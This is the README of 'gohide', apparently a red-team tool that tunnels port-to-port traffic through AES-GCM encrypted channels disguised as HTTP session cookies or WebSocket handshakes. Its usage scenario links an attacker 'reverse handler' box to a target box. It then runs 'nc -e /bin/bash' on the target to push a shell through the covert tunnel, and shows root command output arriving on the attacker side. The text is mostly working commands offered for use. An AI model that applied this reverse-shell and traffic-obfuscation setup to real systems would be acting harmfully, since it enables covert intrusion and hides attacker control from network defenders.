gohide

Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

• Session Cookie HTTP GET (http-client)
• Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
• WebSocket Handshake "Sec-WebSocket-Key" (websocket-client)
• WebSocket Handshake "Sec-WebSocket-Accept" (websocket-server)
• No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
  -f string
    	listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")
  -key openssl passwd -1 -salt ok | md5sum
    	aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
  -l string
    	listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")
  -m string
    	obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
  -pem string
    	path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")
  -r string
    	forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

Scenario

Box A - Reverse Handler.

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Box B - Target.

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server
Local Port Forward Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

Note: /etc/hosts "127.0.0.1 target.com"

Box B - Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A - Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu 
Active Internet connections (servers and established)
tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide